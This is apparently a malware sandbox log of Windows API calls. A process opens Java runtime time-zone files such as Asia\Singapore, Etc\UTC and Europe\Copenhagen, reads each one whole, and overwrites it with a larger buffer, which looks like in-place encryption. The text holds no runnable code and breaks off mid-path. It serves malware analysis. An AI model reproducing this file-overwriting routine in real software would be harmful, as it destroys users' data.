SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x41 [0045.524] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.524] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.524] ReleaseMutex (hMutex=0x128) returned 1 [0045.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Muscat", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0045.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Muscat", cchWideChar=6, lpMultiByteStr=0x1e6a9fc, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Muscat", lpUsedDefaultChar=0x0) returned 6 [0045.524] ReadFile (in: hFile=0x1cc, lpBuffer=0x1eaad68, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaad68*, lpNumberOfBytesRead=0x2f4f2bc*=0x41, lpOverlapped=0x0) returned 1 [0045.525] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.525] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0045.525] CloseHandle (hObject=0x1cc) returned 1 [0045.525] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Qyzylorda" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\qyzylorda"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.527] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.527] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1d1 [0045.527] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.527] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.527] ReleaseMutex (hMutex=0x128) returned 1 [0045.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Qyzylorda", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0045.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Qyzylorda", cchWideChar=9, lpMultiByteStr=0x1e630cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Qyzylorda", lpUsedDefaultChar=0x0) returned 9 [0045.527] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d97918, nNumberOfBytesToRead=0x1d1, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d97918*, lpNumberOfBytesRead=0x2f4f2bc*=0x1d1, lpOverlapped=0x0) returned 1 [0045.528] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.528] WriteFile (in: hFile=0x1cc, lpBuffer=0x276a348*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a348*, lpNumberOfBytesWritten=0x2f4f2d0*=0x759, lpOverlapped=0x0) returned 1 [0045.528] CloseHandle (hObject=0x1cc) returned 1 [0045.528] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Singapore" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\singapore"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.533] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.533] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x85 [0045.533] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.533] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.533] ReleaseMutex (hMutex=0x128) returned 1 [0045.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Singapore", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0045.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Singapore", cchWideChar=9, lpMultiByteStr=0x1e630cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Singapore", lpUsedDefaultChar=0x0) returned 9 [0045.533] ReadFile (in: hFile=0x1cc, lpBuffer=0x25dc1c8, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25dc1c8*, lpNumberOfBytesRead=0x2f4f2bc*=0x85, lpOverlapped=0x0) returned 1 [0045.534] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.534] WriteFile (in: hFile=0x1cc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x60d, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x60d, lpOverlapped=0x0) returned 1 [0045.534] CloseHandle (hObject=0x1cc) returned 1 [0045.534] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Vientiane" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\vientiane"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.536] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.536] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x61 [0045.536] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.536] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.536] ReleaseMutex (hMutex=0x128) returned 1 [0045.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Vientiane", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0045.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Vientiane", cchWideChar=9, lpMultiByteStr=0x1e630cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Vientiane", lpUsedDefaultChar=0x0) returned 9 [0045.536] ReadFile (in: hFile=0x1cc, lpBuffer=0x1df5d38, nNumberOfBytesToRead=0x61, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df5d38*, lpNumberOfBytesRead=0x2f4f2bc*=0x61, lpOverlapped=0x0) returned 1 [0045.537] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.538] WriteFile (in: hFile=0x1cc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5e9, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5e9, lpOverlapped=0x0) returned 1 [0045.538] CloseHandle (hObject=0x1cc) returned 1 [0045.538] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Madeira" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\madeira"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.551] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.551] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x748 [0045.551] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.551] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.551] ReleaseMutex (hMutex=0x128) returned 1 [0045.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Madeira", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0045.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Madeira", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Madeira", lpUsedDefaultChar=0x0) returned 7 [0045.551] ReadFile (in: hFile=0x1cc, lpBuffer=0x276a348, nNumberOfBytesToRead=0x748, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276a348*, lpNumberOfBytesRead=0x2f4f2bc*=0x748, lpOverlapped=0x0) returned 1 [0045.553] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.553] WriteFile (in: hFile=0x1cc, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xcd0, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2f4f2d0*=0xcd0, lpOverlapped=0x0) returned 1 [0045.553] CloseHandle (hObject=0x1cc) returned 1 [0045.553] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Eucla" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\eucla"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.556] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.556] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xcd [0045.556] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.556] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.556] ReleaseMutex (hMutex=0x128) returned 1 [0045.556] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Eucla", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0045.556] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Eucla", cchWideChar=5, lpMultiByteStr=0x1e6a9fc, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Eucla", lpUsedDefaultChar=0x0) returned 5 [0045.556] ReadFile (in: hFile=0x1cc, lpBuffer=0x2560468, nNumberOfBytesToRead=0xcd, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2560468*, lpNumberOfBytesRead=0x2f4f2bc*=0xcd, lpOverlapped=0x0) returned 1 [0045.557] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.557] WriteFile (in: hFile=0x1cc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x655, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x655, lpOverlapped=0x0) returned 1 [0045.557] CloseHandle (hObject=0x1cc) returned 1 [0045.558] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EST" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\est"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.559] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.559] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1b [0045.559] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.559] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.559] ReleaseMutex (hMutex=0x128) returned 1 [0045.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EST", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0045.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EST", cchWideChar=3, lpMultiByteStr=0x1e6a7a4, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EST", lpUsedDefaultChar=0x0) returned 3 [0045.559] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e78948, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78948*, lpNumberOfBytesRead=0x2f4f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0045.560] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.560] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0045.560] CloseHandle (hObject=0x1cc) returned 1 [0045.560] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+5" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+5"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.561] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.561] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1b [0045.561] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.561] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.562] ReleaseMutex (hMutex=0x128) returned 1 [0045.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT+5", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0045.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT+5", cchWideChar=5, lpMultiByteStr=0x1e6a9fc, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GMT+5", lpUsedDefaultChar=0x0) returned 5 [0045.562] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e78948, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78948*, lpNumberOfBytesRead=0x2f4f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0045.562] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.562] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0045.563] CloseHandle (hObject=0x1cc) returned 1 [0045.563] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-14" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-14"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.564] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.564] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1b [0045.564] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.564] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.564] ReleaseMutex (hMutex=0x128) returned 1 [0045.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT-14", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0045.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT-14", cchWideChar=6, lpMultiByteStr=0x1e6a9fc, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GMT-14", lpUsedDefaultChar=0x0) returned 6 [0045.564] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e78948, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78948*, lpNumberOfBytesRead=0x2f4f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0045.565] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.565] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0045.565] CloseHandle (hObject=0x1cc) returned 1 [0045.565] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\UTC" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\utc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.566] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.566] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1b [0045.566] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.566] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.566] ReleaseMutex (hMutex=0x128) returned 1 [0045.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UTC", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0045.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UTC", cchWideChar=3, lpMultiByteStr=0x1e6a7a4, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UTC", lpUsedDefaultChar=0x0) returned 3 [0045.566] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e78948, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78948*, lpNumberOfBytesRead=0x2f4f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0045.567] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.567] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0045.567] CloseHandle (hObject=0x1cc) returned 1 [0045.567] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Copenhagen" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\copenhagen"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.569] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.569] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x480 [0045.569] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.569] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.569] ReleaseMutex (hMutex=0x128) returned 1 [0045.569] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Copenhagen", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0045.569] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Copenhagen", cchWideChar=10, lpMultiByteStr=0x1e6324c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copenhagen", lpUsedDefaultChar=0x0) returned 10 [0045.569] ReadFile (in: hFile=0x1cc, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x480, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x2f4f2bc*=0x480, lpOverlapped=0x0) returned 1 [0045.952] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.952] WriteFile (in: hFile=0x1cc, lpBuffer=0x1da5ef8*, nNumberOfBytesToWrite=0xa08, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da5ef8*, lpNumberOfBytesWritten=0x2f4f2d0*=0xa08, lpOverlapped=0x0) returned 1 [0045.953] CloseHandle (hObject=0x1cc) returned 1 [0045.954] CreateFileW (lpFileName="C:\\Program Files 